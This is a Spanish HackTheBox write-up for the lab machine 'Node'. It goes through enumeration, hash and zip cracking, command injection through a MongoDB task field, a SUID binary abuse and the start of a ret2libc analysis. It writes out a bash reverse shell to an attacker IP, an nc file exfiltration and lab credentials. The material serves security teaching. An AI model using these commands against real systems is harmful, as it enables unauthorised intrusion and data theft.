Maquina Node - htb writeup

Firtmiracle el
Maquina Node - htb writeup

El dia de hoy vamos a resolver Node de hackthebox una maquina linux de dificultad media, para poder comprometer la maquina nos aprovecharemos la informacion lekeada del servicio expuesta en la api que nos otorgara credenciales para conectarnos al servicio, donde descargaremos un backup comprimido con información para poder ingresar al sistema, despues aprovecharemos de una inyeccion a una task de mongodb donde a traves de un campo obtendremos ejecución remota de comandos rce y finalmente mediante un binario suid podremos leeer la flag del usuario root. Ademas alternivamente vamos a ganar acceso al sistema explotando un buffer overflow en el binario suid a traves de ret2libc y ganando acceso al sistema como el usuario root.

Esta maquina es divertida asi que a darle!.

Vamos a comenzar como de costumbre creando un directorio con el nombre de la maquina:

❯ mkdir Node
❯ ls:w

 Node

Seguidamente con la funcion mkt crearemos nuestros directorios de trabajo:

❯ which mkt
mkt () {
	mkdir {nmap,content,exploits,scripts}
}
❯ mkt
❯ ls
 content   exploits   nmap   scripts

ENUMERACION #

Comenzaremos con la fase de Enumeracion, mandando una traza a la ip de la maquina victima con el comando ping:

❯ ping -c 1 10.10.10.58
PING 10.10.10.58 (10.10.10.58) 56(84) bytes of data.
64 bytes from 10.10.10.58: icmp_seq=1 ttl=63 time=109 ms

--- 10.10.10.58 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 108.550/108.550/108.550/0.000 ms

Vemos que la maquina nos responde, con un ttl de 63 y por proximidad seria correspondiente a una maquina linux.

ESCANEO DE PUERTOS

Parámetro Descripción
-p- Escaneamos todos los 65535 puertos.
–open Solo los puertos que estén abiertos.
-v Permite ver en consola lo que va encontrando (verbose).
-oG Guarda el output en un archivo con formato grepeable para que mediante una funcion de S4vitar nos va a permitir extraer cada uno de los puertos y copiarlos sin importar la cantidad en la clipboard y asi al hacer ctrl_c esten disponibles

Procedemos a escanear los puertos abiertos y lo exportaremos al archivo de nombre openPorts:

❯ nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.10.58 -oG openPorts
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.92 ( https://nmap.org ) at 2023-07-17 22:25 GMT
Initiating SYN Stealth Scan at 22:25
Scanning 10.10.10.58 [65535 ports]
Discovered open port 22/tcp on 10.10.10.58
Discovered open port 3000/tcp on 10.10.10.58
Completed SYN Stealth Scan at 22:25, 26.41s elapsed (65535 total ports)
Nmap scan report for 10.10.10.58
Host is up, received user-set (0.11s latency).
Scanned at 2023-07-17 22:25:27 GMT for 26s
Not shown: 65533 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT     STATE SERVICE REASON
22/tcp   open  ssh     syn-ack ttl 63
3000/tcp open  ppp     syn-ack ttl 63

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 26.51 seconds
           Raw packets sent: 131086 (5.768MB) | Rcvd: 20 (880B)

ESCANEO DE VERSION Y SERVICIOS

❯ nmap -sCV -p22,3000 10.10.10.58 -oN targeted
Starting Nmap 7.92 ( https://nmap.org ) at 2023-07-17 22:26 GMT
Nmap scan report for 10.10.10.58
Host is up (0.12s latency).

PORT     STATE SERVICE            VERSION
22/tcp   open  ssh                OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 dc:5e:34:a6:25:db:43:ec:eb:40:f4:96:7b:8e:d1:da (RSA)
|   256 6c:8e:5e:5f:4f:d5:41:7d:18:95:d1:dc:2e:3f:e5:9c (ECDSA)
|_  256 d8:78:b8:5d:85:ff:ad:7b:e6:e2:b5:da:1e:52:62:36 (ED25519)
3000/tcp open  hadoop-tasktracker Apache Hadoop
|_http-title: MyPlace
| hadoop-datanode-info: 
|_  Logs: /login
| hadoop-tasktracker-info: 
|_  Logs: /login
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 20.44 seconds

Visulizamos información interesante de los puertos escaneados:

Puerto Servicio Versión
22 SSH OpenSSH 7.2p2
80 HTTP hadoop-tasktracker

EXPLOTACION #

Comenzamos usando whatweb, para determinar las tecnologias que esta usando el servicio web.

❯ whatweb http://10.10.10.58:3000
http://10.10.10.58:3000 [200 OK] Bootstrap, Country[RESERVED][ZZ], HTML5, IP[10.10.10.58], JQuery, Script[text/javascript], Title[MyPlace], X-Powered-By[Express], X-UA-Compatible[IE=edge]

La herramienta nos reporta que se trata de un Express, lo que quiere decir que en el backend esta corriendo NodeJS.

Vamos a proceder a abrir el servicio con el navegador para visualizar el servicio.

Vemos que existe una opcion de login para acceder al servicio.

Ahora ya que sabemos que por dentro corre un nodejs, para evitar aplicar fuzzing, podemos usar el depurador, para poder ver rutas por defecto del servicio tipo app. Y dentro descubrimos una ruta de usuarios.

Si tratamos de acceder a la ruta, vemos que podemos listar el contenido de usuarios con sus respectivas contraseñas hasheadas.

Procedemos a crackear las contraseñas para ello usaremos nuestra web de confianza.

y Obtenemos contraseñas en texto claro.

La exportamos al fichero de nombre users.txt y procedemos a logearnos al servicio.

❯ cat users.txt
myP14ceAdm1nAcc0uNT:manchester
tom:spongebob
mark:snowflake

Al conectarnos vemos una opción de DownloadBackup, asi que lo descargamos y hacemos un decode del contenido que esta en base64 y lo exportamos con el nombre de backup.

❯ cat myplace.backup | base64 -d > backup
❯ cat backup
❯ file backup
backup: Zip archive data, at least v1.0 to extract

Como resultado obtenemos un comprimido protegido por contraseña.

❯ unzip backup
Archive:  backup
   creating: var/www/myplace/
[backup] var/www/myplace/package-lock.json password

Usaremos fcrackzip y obtenemos la contraeña del comprimido.

❯ fcrackzip -b -D -u -p /usr/share/wordlists/rockyou.txt backup


PASSWORD FOUND!!!!: pw == magicword

Dentro observamos bastante contenido, pero al tratarse de un node.js, podemos tratar de grepear por archivos como app.js, donde podemos encontrar informacion interesante.

❯ find . | grep app.js
./www/myplace/app.js
./www/myplace/static/assets/js/app/app.js

Abrimos el archivo app.js y encontramos unas credenciales del servicio mongodb, correspondientes al usuario mark.

Como vimos que el servicio ssh se encuentra activo, podemos tratar de conectarnos con las nuevas credenciales.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

Last login: Wed Sep 27 02:33:14 2017 from 10.10.14.3

              .-. 
        .-'``(|||) 
     ,`\ \    `-`.                 88                         88 
    /   \ '``-.   `                88                         88 
  .-.  ,       `___:      88   88  88,888,  88   88  ,88888, 88888  88   88 
 (:::) :        ___       88   88  88   88  88   88  88   88  88    88   88 
  `-`  `       ,   :      88   88  88   88  88   88  88   88  88    88   88 
    \   / ,..-`   ,       88   88  88   88  88   88  88   88  88    88   88 
     `./ /    .-.`        '88888'  '88888'  '88888'  88   88  '8888 '88888' 
        `-..-(   ) 
              `-` 




The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

Last login: Tue Jul 18 00:34:52 2023 from 10.10.16.2
mark@node:~$ 

Ahora que ganamos acceso al sistema como el usuario mark, listamos los servicios activos y vemos el puerto 27017, correspondiente a MongoDB.

mark@node:~$ ss -nltp
State       Recv-Q Send-Q                 Local Address:Port                    Peer Address:Port      
LISTEN      0      128                     127.0.0.1:27017                              *:*            
LISTEN      0      128                          *:22                                    *:*       
LISTEN      0      128                        :::3000                                   :::*           

Si ahora listamos los procesos del sistema vemos que se esta corriendo otro app.js correspondiente a un scheduller.

mark@node:~$ ps -faux
USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root         2  0.0  0.0      0     0 ?        S    Jul17   0:00 [kthreadd]
root         3  0.0  0.0      0     0 ?        S    Jul17   0:00  \_ [ksoftirqd/0]
mongodb   1237  0.6 11.8 281952 89772 ?        Ssl  Jul17   0:36 /usr/bin/mongod --auth --quiet --config /etc/mongod.conf
tom       1240  0.0  5.5 1008568 42148 ?       Ssl  Jul17   0:02 /usr/bin/node /var/scheduler/app.js
tom       1243  0.0  9.0 1041968 68560 ?       Ssl  Jul17   0:03 /usr/bin/node /var/www/myplace/app.js

Si visualizamos el archivo obtenemos otras credenciales correspondientes a mongo.

mark@node:~$ cat /var/scheduler/app.js
const exec        = require('child_process').exec;
const MongoClient = require('mongodb').MongoClient;
const ObjectID    = require('mongodb').ObjectID;
const url         = 'mongodb://mark:5AYRft73VtFpc84k@localhost:27017/scheduler?authMechanism=DEFAULT&authSource=scheduler';

MongoClient.connect(url, function(error, db) {
  if (error || !db) {
    console.log('[!] Failed to connect to mongodb');
    return;
  }

  setInterval(function () {
    db.collection('tasks').find().toArray(function (error, docs) {
      if (!error && docs) {
        docs.forEach(function (doc) {
          if (doc) {
            console.log('Executing task ' + doc._id + '...');
            exec(doc.cmd);
            db.collection('tasks').deleteOne({ _id: new ObjectID(doc._id) });
          }
        });
      }
      else if (error) {
        console.log('Something went wrong: ' + error);
      }
    });
  }, 30000);

});

Nos conectamos la servicio con las nuevas credenciales obtenidas, listamos las colecciones de la base de datos.

mark@node:~$ mongo -u mark -p 5AYRft73VtFpc84k scheduler
MongoDB shell version: 3.2.16
connecting to: scheduler
> show collections
tasks

En la colección tasks, vamos a usar db.task.find() tal y como vemos en el script app.js para realizar consultas en la colección tasks.

> db.tasks.find()
> 

La consulta no nos lista nada, pero si volvemos a revisar app.js obervamos exec(doc.cmd); que se esta validando el uso de un campo llamado cmd, asi que podriamos tratar de insertar un nuevo documento con db.tasks.insert() incorporando el cmd y ejecutando un comando aprovechandonos de la función execy asi otorgarnos una revershell.

> db.tasks.insert({"cmd": "bash -c 'bash -i >& /dev/tcp/10.10.16.2/443 0>&1'"})
WriteResult({ "nInserted" : 1 })
> db.tasks.find()
{ "_id" : ObjectId("64b5d7e418c6053c65dd5030"), "cmd" : "bash -c 'bash -i >& /dev/tcp/10.10.16.2/443 0>&1'" }

Ahora nos ponemos en escucha en nuestra equipo y recibimos la conexión como el usuario tom.

❯ ncat -nlvp 443
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::443
Ncat: Listening on 0.0.0.0:443
Ncat: Connection from 10.10.10.58.
Ncat: Connection from 10.10.10.58:44564.
bash: cannot set terminal process group (1240): Inappropriate ioctl for device
bash: no job control in this shell
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

tom@node:/$ whoami
whoami
tom

Ahora podemos dirigirnos al directorio personal del usuario y visualizar la primera flag user.txt.

tom@node:/$ cd /home/tom
cd /home/tom
tom@node:~$ cat user.txt
cat user.txt
4452fba153c742ca44fd79aac0f934c9

ELEVACION DE PRIVILEGIOS #

Listando los binarios con privilegios suid, encontramos uno inusual llamando backup.

tom@node:/$ find / -perm -4000 2>/dev/null
find / -perm -4000 2>/dev/null
/usr/lib/eject/dmcrypt-get-device
/usr/lib/snapd/snap-confine
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/usr/lib/openssh/ssh-keysign
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/local/bin/backup
/usr/bin/chfn
/usr/bin/at
/usr/bin/gpasswd
/usr/bin/newgidmap
/usr/bin/chsh
/usr/bin/sudo
/usr/bin/pkexec
/usr/bin/newgrp
/usr/bin/passwd
/usr/bin/newuidmap
/bin/ping
/bin/umount
/bin/fusermount
/bin/ping6
/bin/ntfs-3g
/bin/su
/bin/mount

Si tratamos de ejecutar el binario, vemos que no sucede nada.

tom@node:/$ /usr/local/bin/backup
/usr/local/bin/backup
tom@node:/$

Pero si volvemos a visualizar el app.js que listamos al principio el cual estaba contenido en el comprimido, observamos una ruta correspondiente a backup la cual se ejecuta con 3 parametros, entre ellos una key y un directorio.

Probamos nuevamente a ejecutarlo con 3 parametros.

om@node:/$ /usr/local/bin/backup a a a
/usr/local/bin/backup a a a



             ____________________________________________________
            /                                                    \
           |    _____________________________________________     |
           |   |                                             |    |
           |   |                                             |    |
           |   |                                             |    |
           |   |                                             |    |
           |   |                                             |    |
           |   |                                             |    |
           |   |             Secure Backup v1.0              |    |
           |   |                                             |    |
           |   |                                             |    |
           |   |                                             |    |
           |   |                                             |    |
           |   |                                             |    |
           |   |                                             |    |
           |   |_____________________________________________|    |
           |                                                      |
            \_____________________________________________________/
                   \_______________________________________/
                _______________________________________________
             _-'    .-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.  --- `-_
          _-'.-.-. .---.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.--.  .-.-.`-_
       _-'.-.-.-. .---.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-`__`. .-.-.-.`-_
    _-'.-.-.-.-. .-----.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-----. .-.-.-.-.`-_
 _-'.-.-.-.-.-. .---.-. .-----------------------------. .-.---. .---.-.-.-.`-_
:-----------------------------------------------------------------------------:
`---._.-----------------------------------------------------------------._.---'


 [!] Ah-ah-ah! You didn't say the magic word!


tom@node:/$

Vemos que esta vez funciona, pero ahora usaremos ltrace para ver a bajo nivel el proceso de lo que sucede al ejecutar el binario.

tom@node:/$ ltrace /usr/local/bin/backup a b c
ltrace /usr/local/bin/backup a b c
strncpy(0xffef6578, "b", 100)                                                                                     = 0xffef6578
strcpy(0xffef6561, "/")                                                                                           = 0xffef6561
strcpy(0xffef656d, "/")                                                                                           = 0xffef656d
strcpy(0xffef64f7, "/e")                                                                                          = 0xffef64f7
strcat("/e", "tc")                                                                                                = "/etc"
strcat("/etc", "/m")                                                                                              = "/etc/m"
strcat("/etc/m", "yp")                                                                                            = "/etc/myp"
strcat("/etc/myp", "la")                                                                                          = "/etc/mypla"
strcat("/etc/mypla", "ce")                                                                                        = "/etc/myplace"
strcat("/etc/myplace", "/k")                                                                                      = "/etc/myplace/k"
strcat("/etc/myplace/k", "ey")                                                                                    = "/etc/myplace/key"
strcat("/etc/myplace/key", "s")                                                                                   = "/etc/myplace/keys"
fopen("/etc/myplace/keys", "r")                                                                                   = 0x8c06410
fgets("a01a6aa5aaf1d7729f35c8278daae30f"..., 1000, 0x8c06410)                                                     = 0xffef610f
strcspn("a01a6aa5aaf1d7729f35c8278daae30f"..., "\n")                                                              = 64
strcmp("b", "a01a6aa5aaf1d7729f35c8278daae30f"...)                                                                = 1
fgets("45fac180e9eee72f4fd2d9386ea7033e"..., 1000, 0x8c06410)                                                     = 0xffef610f
strcspn("45fac180e9eee72f4fd2d9386ea7033e"..., "\n")                                                              = 64
strcmp("b", "45fac180e9eee72f4fd2d9386ea7033e"...)                                                                = 1
fgets("3de811f4ab2b7543eaf45df611c2dd25"..., 1000, 0x8c06410)                                                     = 0xffef610f
strcspn("3de811f4ab2b7543eaf45df611c2dd25"..., "\n")                                                              = 64
strcmp("b", "3de811f4ab2b7543eaf45df611c2dd25"...)                                                                = 1
fgets("\n", 1000, 0x8c06410)                                                                                      = 0xffef610f
strcspn("\n", "\n")                                                                                               = 0
strcmp("b", "")                                                                                                   = 1
fgets(nil, 1000, 0x8c06410)                                                                                       = 0
strcpy(0xffef5148, "Ah-ah-ah! You didn't say the mag"...)                                                         = 0xffef5148
printf(" %s[!]%s %s\n", "\033[33m", "\033[37m", "Ah-ah-ah! You didn't say the mag"... [!] Ah-ah-ah! You didn't say the magic word!

Observamos que compara el segundo campo b con una key de un archivo /etc/myplace/keys que si lo listamos podemos ver el contenido.

tom@node:/$ cat /etc/myplace/keys
cat /etc/myplace/keys
a01a6aa5aaf1d7729f35c8278daae30f8a988257144c003f8b12c5aec39bc508
45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474
3de811f4ab2b7543eaf45df611c2dd2541a5fc5af601772638b81dce6852d110

Podemos usar una de las keys y como tercer parametro ya que nos pide ingresar un directorio, podriamos tratar de visualizar la flag de root.

/usr/local/bin/backup a 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 root



             ____________________________________________________
            /                                                    \
           |    _____________________________________________     |
           |   |                                             |    |
           |   |                                             |    |
           |   |                                             |    |
           |   |                                             |    |
           |   |                                             |    |
           |   |                                             |    |
           |   |             Secure Backup v1.0              |    |
           |   |                                             |    |
           |   |                                             |    |
           |   |                                             |    |
           |   |                                             |    |
           |   |                                             |    |
           |   |                                             |    |
           |   |_____________________________________________|    |
           |                                                      |
            \_____________________________________________________/
                   \_______________________________________/
                _______________________________________________
             _-'    .-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.  --- `-_
          _-'.-.-. .---.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.--.  .-.-.`-_
       _-'.-.-.-. .---.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-`__`. .-.-.-.`-_
    _-'.-.-.-.-. .-----.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-----. .-.-.-.-.`-_
 _-'.-.-.-.-.-. .---.-. .-----------------------------. .-.---. .---.-.-.-.`-_
:-----------------------------------------------------------------------------:
`---._.-----------------------------------------------------------------._.---'


 [+] Validated access token
 [+] Starting archiving root
 [+] Finished! Encoded backup is below:

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

Nos devuelve un resultado en base64, y si lo decodeamos obtenemos un archivo comprimido, y al unzipearlo nos pide ingresar una contraseña.

❯ unzip file
Archive:  file
[file] root/.profile password: 

Podemos usar la que previamente obtuvimos con fcrackzip ya que se puede estar reutilizando la contraseña.

❯ unzip file
Archive:  file
[file] root/.profile password: 
  inflating: root/.profile           
 extracting: root/.cache/motd.legal-displayed  
 extracting: root/root.txt           
  inflating: root/.bashrc            
  inflating: root/.viminfo           
 extracting: root/.nano/search_history  
❯ 
❯ ls
 root   file

Efectivamente logramos descomprimirlo usando la contraseña previa magicword, ahora podemos ver lo que hay dentro del directorio y encontramos la segunda flag root.txt.

❯ cd root
❯ ls
 root.txt
❯ cat root.txt
98ef491742abffa14a62facb8d832818

EXPLOTACION ALTERNA #

Vimos anteriormente que pudimos leer la flag root.txt, pero no logramos obtener acceso como el usuario root al sistema. Anteriormente vimos que al binario backup, le pasabamos un parametro final correspondiente a un directorio, pero si tratamos de pasar muchos caracteres como ultimo parametro hacemos que el programa se corrompa.

tom@node:/$ /usr/local/bin/backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 $(python -c 'print("A"*40000)')   
/usr/local/bin/backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 $(python -c 'print("A"*40000)')
Segmentation fault (core dumped)

Vemos que se acontece un desbordamiento de buffer o bufferoverflow.

Vamos a traernos el binario a nuestro equipo.

tom@node:/usr/local/bin$ nc 10.10.16.2 443 < backup
nc 10.10.16.2 443 < backup

Para ejecutarlo sin problemas, voy a crearme un directorio y el archivo donde se almacenan las keys.

❯ mkdir /etc/myplace
❯ nvim /etc/myplace/keys
❯ cat /etc/myplace/keys
a01a6aa5aaf1d7729f35c8278daae30f8a988257144c003f8b12c5aec39bc508
45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474
3de811f4ab2b7543eaf45df611c2dd2541a5fc5af601772638b81dce6852d110

Para poder ver los registros al ejecutar el binario a bajo nivel usare gdb.

gef➤  r a 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 $(python3 -c 'print("A"*3000)')

Vemos que se acontece el desbordamiento sobrescribiendo los registros y que alteran el flujo del programa, esto termina corrompiendolo cuando introducimos muchos caracteres capaces de sobrepasar el tamaño del buffer asignado.

Si quieres saber mas acerca de esto te dejo el siguiente articulo:

Lo que podriamos hacer es que el flujo del programa podemos meterlo en la pila, donde a traves de un shellcode podemos ejecutar comandos y otorgarnos una reverse shell.

Pero si vemos las protecciones del binario este cuenta con data execution prevention. NX.

gef➤  checksec
[+] checksec for '/home/fmiracle/Machines/Node/content/backup'
[*] .gef-2b72f5d0d9f0f218a91cd1ca5148e45923b950d5.py:L8764 'checksec' is deprecated and will be removed in a feature release. Use Elf(fname).checksec()
Canary                        : ✘ 
NX                            : ✓ 
PIE                           : ✘ 
Fortify                       : ✘ 
RelRO                         : Partial

Asi que necesitamos buscar otra forma de explotar del binario. Podemos usar un ret2libc que lo que hace es aprovecharse la la libreria libc que el binario esta utilizando.

tom@node:/usr/local/bin$ which backup | xargs ldd
which backup | xargs ldd
	linux-gate.so.1 =>  (0xf7723000)
	libc.so.6 => /lib32/libc.so.6 (0xf7564000)
	/lib/ld-linux.so.2 (0xf7724000)
tom@node:/usr/local/bin$

Con ello en vez de mandar el flujo del programa a la pila, podemos usar el libc para ejecutar una llamada a nivel de sistema.

Para ello necesitamos primero saber si la maquina cuenta con ÀSLR aleatorizacion de direcciones de la memoria, ello podemos verificarlo leyendo.

cat /proc/sys/kernel/randomize_va_space
2

